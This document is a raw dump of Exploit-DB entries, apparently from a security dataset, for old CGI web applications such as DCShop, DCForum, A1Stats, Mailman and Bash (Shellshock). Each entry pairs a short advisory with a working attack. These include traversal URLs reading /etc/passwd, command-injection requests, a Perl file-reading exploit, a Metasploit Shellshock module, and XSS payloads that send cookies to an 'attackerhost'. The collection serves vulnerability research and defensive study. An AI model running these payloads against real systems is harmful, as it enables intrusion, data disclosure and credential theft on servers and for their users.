deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20938
Description: DC Scripts DCShop Beta 1.0 02 - File Disclosure (1)
Type: remote
Platform: cgi
Date: 2001-06-18
Author: Peter Helms

Exploit:
source: https://www.securityfocus.com/bid/2889/info

DCShop is a GCI-based ecommerce system from DCScripts.

Under certain configurations, a beta version of this product can allow a remote user to request and obtain files containing confidential order data, including credit card and other private customer information, as well as the DCShop admnistrator login ID and password. 

http://theTargetHost/cgi-bin/DCShop/Orders/orders.txt
Exploit-DB #20939
Description: DC Scripts DCShop Beta 1.0 02 - File Disclosure (2)
Type: remote
Platform: cgi
Date: 2001-06-18
Author: Peter Helms

Exploit:
source: https://www.securityfocus.com/bid/2889/info
 
DCShop is a GCI-based ecommerce system from DCScripts.
 
Under certain configurations, a beta version of this product can allow a remote user to request and obtain files containing confidential order data, including credit card and other private customer information, as well as the DCShop admnistrator login ID and password. 

http://theTargetHost/cgi-bin/DCShop/Auth_data/auth_user_file.txt
Exploit-DB #20405
Description: DCForum 1-6 - Arbitrary File Disclosure
Type: remote
Platform: cgi
Date: 2000-11-14
Author: steeLe

Exploit:
# source: https://www.securityfocus.com/bid/1951/info
#
# DCForum is a commercial cgi script from DCScripts which is designed to facilitate web-based threaded discussion forums.
#
#The script improperly validates user-supplied input, which allows the remote viewing of arbitrary files on the host which are readable by user 'nobody' or the webserver. Additionally, it has been reported that the dcforum.cgi script can be made to delete itself if the attacker attempts to read its source code using this method, effectively permitting a denial-of-service attack.
#

#!/usr/bin/perl
# DC Forum Vulnerablitiy(Found In Versions From 1.0 - 6.0 According To
CGISecurity.com Advisory)
# Exploits Vulnerability That Allows Remote File Reading
# By SteeLe
# BEGIN { open(STDERR,">errors.txt"); } error checking
$lynx = "/usr/bin/lynx"; # specify

$site = $ARGV[0];
$cgi  = $ARGV[1];
$inet = inet_aton($site);

die "\n\t---   Usage:$0 <site> <cgi location,duh>  ---" if(@ARGV == '0' ||
@ARGV < 2);

print "\n\t---   DCForum 1.0 - 6.0 Exploit ---";
print "\n\t---   By the cool fellas at *   ---\n\n";

while(true) { # yea i think I stole this from the pollex.pl , uh thanks.

print "[dcforum]Option:";
$action = <STDIN>;
chomp($action);

print "Valid Options: r(read files, usage r <file>), q(quit)\n" if($action
ne "r" || $action ne "q");

if ($action eq "r") {
print "\nFile(to read):";
$file = <STDIN>;
chomp($file);
# Old fashion shit, and I was lazy so be happy
$url = "?az=list&file=$file%00";
$site = `$lynx http://$site$cgi$url`;
print $site;
}
elsif ($action eq "q") {
 print "now exiting program\n";
 exit;
  }
}
# (c) 2000 [Warez To Tha Extreme(Damn Thats A Lie)]
Exploit-DB #19786
Description: DNSTools Software DNSTools 1.0.8/1.10 - Input Validation
Type: remote
Platform: cgi
Date: 2000-03-02
Author: Jonathan Leto

Exploit:
source: https://www.securityfocus.com/bid/1028/info

A vulnerability exists in the 1.0.8 release of DNSTools (labeled on some areas of their site as 1.08), from DNSTools Software. By manipulating the contents of certain post variables, arbitrary code may be executed.

Note that version 1.10 is reportedly still vulnerable. See message from Wolfgang Wiese <wolfgang.wiese@rrze.uni-erlangen.de> in reference section.

The problem stems from the following code:

$host_name = $CGI->param("host_name"); 
$domain_name = $CGI->param("domain_name");

$error_description = ""; 
my $error_code = system("/usr/local/dnstools/delete_mx -d \"$domain_name\" -n \"$host_name\"");

No escaping or input validation is performed. This makes it easy for a would be attacker to execute arbitrary commands, as the user the webserver or cgi-bin is being run as.

The key to this exploit is causing the system() call to execute commands other than the intended one. The following would cause a directory listing: GET /~jed/cgi-bin/test.pl?domain_name=\"\;ls\" HTTP/1.0
Exploit-DB #20831
Description: Drummond Miles A1Stats 1.0 - 'a1disp2.cgi' Traversal Arbitrary File Read
Type: remote
Platform: cgi
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2705/info

A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.

Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.

An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.

This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.

Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd
Exploit-DB #20832
Description: Drummond Miles A1Stats 1.0 - 'a1disp3.cgi' Traversal Arbitrary File Read
Type: remote
Platform: cgi
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2705/info
 
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
 
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
 
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
 
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
 
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd
Exploit-DB #20833
Description: Drummond Miles A1Stats 1.0 - 'a1disp4.cgi' Traversal Arbitrary File Read
Type: remote
Platform: cgi
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2705/info
  
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
  
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
  
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
  
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
  
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd
Exploit-DB #20809
Description: Excite for Web Servers 1.1 - Administrative Password
Type: remote
Platform: cgi
Date: 1998-11-30
Author: Michael Gerdts

Exploit:
source: https://www.securityfocus.com/bid/2665/info

Excite for Web Servers 1.1 (EWS) is a search engine suite for web servers running under Windows NT and UNIX. By default the file containing the administrative password, architext.conf, is world readable and world writable. This allows an attacker with local access to gain administrative privileges over EWS. This password is encrypted, but the attacker can bypass the normal login method and pass the encrypted password directly to the script responsible for authenticating the user - /cgi-bin/AT-generate.cgi. This can be done with the help of a simple HTML form or passed directly to the script as the "ENCRYPTEDPASS" parameter. Since the file is also world writable, the attacker could make up an "encrypted" password and overwrite the file with it, then submit the new encrypted password. 

<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>

"Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password."
Exploit-DB #20533
Description: eXtropia bbs_forum.cgi 1.0 - Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2001-01-07
Author: scott

Exploit:
source: https://www.securityfocus.com/bid/2177/info

bbs_forum.cgi is a popular Perl cgi script from eXtropia.com. It supports the creation and maintenance of web-based threaded discussion forums.

Version 1.0 of bbs_forum.cgi fails to properly validate user-supplied, URL-encoded input to the read environment variable. Maliciously-formed URLs submitted to the script may contain references to files on the host's filesystem, as well as shell commands which will be run with the privilege level of the webserver (ie, user 'nobody'). As a result, unpatched affected versions of the script permit an attacker to execute arbitrary code and to read arbitrary files on the vulnerable system. 

www.web*site.com/cgi-bin/bbs_forum.cgi?forum=<forum_name>&read=../../../../../../etc/hosts.allow

note: The section: <forum_name> must be a valid forum on the webserver.
Exploit-DB #20279
Description: extropia webstore 1.0/2.0 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-10-09
Author: f0bic

Exploit:
source: https://www.securityfocus.com/bid/1774/info

Extropia WebStore is an e-commerce shopping cart application consisting of routines for error handling, order processing, encrypted mailing, frames, Javascript and VBscript.

The routine web_store.cgi does not properly handle the $file_extension variable if null characters are used.

For example if the following URL was requested, the file in question would not be delivered to the user:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename.ext

However, by using the escaped character "%00", the requested file would be accessed successfully:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename%00ext

Successful exploitation could lead to a remote intruder gaining read access to any known file.
Exploit-DB #21263
Description: Faq-O-Matic 2.6/2.7 - Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2002-02-04
Author: superpetz

Exploit:
source: https://www.securityfocus.com/bid/4023/info

FAQ-O-Matic is a freely available, open-source FAQ (Frequently Asked Questions) manager. It is intended to run on Linux and Unix variants.

FAQ-O-Matic does not sufficiently filter script code from URL parameters. It is possible to create a malicious link containing arbitrary script code. When a legitimate user browses the malicious link, the script code will be executed in the user's browser in the context of the website running Faq-O-Matic.

As a result, it may be possible for a remote attacker to steal cookie-based authentication credentials from a legitimate user of the service.

http://faqomaticsite/cgi-bin/fom/fom.cgi?cmd=<script>alert("superpetz")</script>&file=1&keywords=superpetz
Exploit-DB #20041
Description: Flowerfire Sawmill 5.0.21 - File Access
Type: remote
Platform: cgi
Date: 2000-06-26
Author: Larry W. Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/1402/info

Sawmill is a site statistics package for Unix, Windows and Mac OS. A specially crafted request can disclose the first line of any world readable file for which the full pathname is known, for example /etc/passwd. The output of the request is similar to the following: 'Unknown configuration command "root:x:0:0:root:/root:/bin/sh" in "/etc/passwd".' 

The following request will display the first line of /etc/passwd

http://target:port/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3

If sawmill is run as a cgi script, the following can be used instead:

http://target/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1
Exploit-DB #20686
Description: Free Online Dictionary of Computing 1.0 - Remote File Viewing
Type: remote
Platform: cgi
Date: 2001-03-09
Author: Cgisecurity

Exploit:
source: https://www.securityfocus.com/bid/2484/info

A vulnerability exists in a CGI script called "The Free Online Dictionary of Computing".

Due to a failure to properly validate user supplied input, a remote attacker can compose and submit requests for files readable by the webserver, as well as executing certain commands (those requiring no command line parameters) with the privilege level of the webserver process. 

http://example.com/foldoc/template.cgi?template.cgi
Exploit-DB #19808
Description: Generation Terrorists Designs & Concepts Sojourn 2.0 - File Access
Type: remote
Platform: cgi
Date: 2000-03-14
Author: Cerberus Security Team

Exploit:
source: https://www.securityfocus.com/bid/1052/info

Any file that the webserver has read access to can be read on a server running the Sojourn search engine.

The Sojourn software includes the ability to organize a website into categories. These categories can then be accessed via the sojourn.cgi Perl script. This is done by making a request for a URL like:

http ://target/cgi-bin/sojourn.cgi?cat=categoryname

Each category has an associated .txt file based on the category name. The program appends the .txt extension onto the contents of the 'cat' variable. However, the program will accept and follow the '../' string in the variable contents, allowing read access to any .txt file the webserver can read.

This restriction can be bypassed by appending %00 to the end of the requested file, which will prevent the .txt extension from being used in the filename.

http ://target/cgi-bin/sojourn.cgi?cat=../../../../../../etc/passwd%00
Exploit-DB #19913
Description: George Burgyan CGI Counter 4.0.2/4.0.7 - Input Validation
Type: remote
Platform: cgi
Date: 2000-05-15
Author: Howard M. Kash III

Exploit:
source: https://www.securityfocus.com/bid/1202/info

Due to unchecked code that handles user input in George Burgyan's CGI Counter, remote execution of arbitrary commands at the same privilege level as the web server it is running on is possible.

Examples:

http://target/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id

> telnet target www
GET /cgi-bin/counterfiglet/nc/f=;sh%20-c%20"$HTTP_X" HTTP/1.0
X: pwd;ls -la /etc;cat /etc/passwd

> telnet target www
GET /cgi-bin/counter/nl/ord/lang=english(1);system("$ENV{HTTP_X}"); HTTP/1.0
X: echo;id;uname -a;w
Exploit-DB #34777
Description: GNU Bash - Environment Variable Command Injection (Metasploit)
Type: remote
Platform: cgi
Date: 2014-09-25
Author: Shaun Colley

Exploit:
    require 'msf/core'

    class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
    

        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'bashedCgi',
                'Description'    => %q{
                   Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. 
                },
                'Author'         => 
                  [ 
                    'Stephane Chazelas',                      # vuln discovery 
                    'Shaun Colley <scolley at ioactive.com>'  # metasploit module
                  ],
                'License'        => MSF_LICENSE,
                'References'     => [ 'CVE', '2014-6271' ],
                'Targets'        => 
                    [
                        [ 'cgi', {} ]
                    ],
                'DefaultTarget'  => 0,
                'Payload'        =>
                    {
                    'Space'      => 1024,
                    'DisableNops' => true
                    },
                'DefaultOptions' => { 'PAYLOAD' => 0 } 
            ))

                register_options(
                    [
                        OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
                        OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
                    ], self.class)
        end

        def run 
            res = send_request_cgi({
                'method'   => 'GET',
                'uri'      => datastore['TARGETURI'],
                'agent'    => "() { :;}; " + datastore['CMD']
            })

            if res && res.code == 200
                print_good("Command sent - 200 received")
            else
                print_error("Command sent - non-200 reponse")
            end
        end
    end
Exploit-DB #21642
Description: GNU Mailman 2.0.x - Admin Login Variant Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2002-07-24
Author: office

Exploit:
source: https://www.securityfocus.com/bid/5299/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code. 

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software.

http://target/mailman_directory/admin/ml-name?adminpw="/onClick="window.open('http://attackerhost/attackerscript.cgi?'+document.cookie);
Exploit-DB #21641
Description: GNU Mailman 2.0.x - Subscribe Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2002-07-24
Author: office

Exploit:
source: https://www.securityfocus.com/bid/5298/info

GNU Mailman is prone to a cross-site scripting vulnerability. Arbitrary HTML and script code are not sanitized from the URI parameters of mailing list subscribe scripts.

An attacker may exploit this issue by creating a malicious link containing arbitrary script code and enticing a web user to visit the link.

http://target/mailman/subscribe/ml-name?info=<script>document.location%3D"http://attackerhost/attackerscript.cgi?"%2Bdocument.cookie;</script>
Exploit-DB #20442
Description: Greg Matthews - 'Classifieds.cgi' 1.0 Hidden Variable
Type: remote
Platform: cgi
Date: 1998-12-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/2019/info

Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to execute any command on the host machine, with the privileges of the web server. If the attacker can submit a command to run as a hidden variable that command will be executed. Normally this variable is reserved for the mail program and is accessed from an HTML page with the following piece of code: <input type="hidden" name="mailprog" value="/usr/sbin/sendmail"> 

<form method=post action="/cgi-bin/classifieds.cgi">
<input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/">
<input type="hidden" name="ViewDir" value="http://victim.com/class/ads/">
<input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html">
<input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html">
<input type="hidden" name="return" value="duke@viper.net.au">
<input type="hidden" name="mailprog" value="touch /tmp/bighole">
<b>Which department do you want your ad to be placed in or you would like to view?
</form>
Exploit-DB #20444
Description: Greg Matthews - 'Classifieds.cgi' 1.0 MetaCharacter
Type: remote
Platform: cgi
Date: 1998-12-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/2020/info

Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to read files on the host machine, with the privileges of the web server. This can be accomplished by embedding the input redirection metacharacter along with a filename into the form field used for e-mail address entry (<input name=return>). Any file that the web server process has read access to can be retrieved. 

Submit email@host</etc/passwd as e-mail address.
Exploit-DB #20281
Description: Hassan Consulting Shopping Cart 1.18 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-10-07
Author: f0bic

Exploit:
source: https://www.securityfocus.com/bid/1777/info

The $page variable in Hassan Consulting Shopping Cart does not properly check for insecure relative paths such as the double dot "..". Therefore, requesting the following URL will display the specified file:

http://target/cgi-bin/shop.cgi/page=../../../path/filename.ext

Successful exploitation could lead to a remote intruder gaining read access to any known file.
Exploit-DB #20609
Description: Heat-On HSWeb Web Server 2.0 - Full Path Disclosure
Type: remote
Platform: cgi
Date: 2001-02-04
Author: Joe Testa

Exploit:
source: https://www.securityfocus.com/bid/2336/info

Requesting a specially crafted URL will make it possible for a remote attacker to disclose the physical path to the web root and peruse the entire directory listing. 

http://target/cgi/
Exploit-DB #19956
Description: HP JetAdmin 5.5.177/jetadmin 5.6 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-05-24
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1243/info

By default JetAdmin Web Interface Server listens on port 8000. By requesting a specially formed URL which includes "../" it is possible for a remote user to gain read-access to any files outside of the web-published directory.

http://target:8000/cgi/wja?page=/../../../filename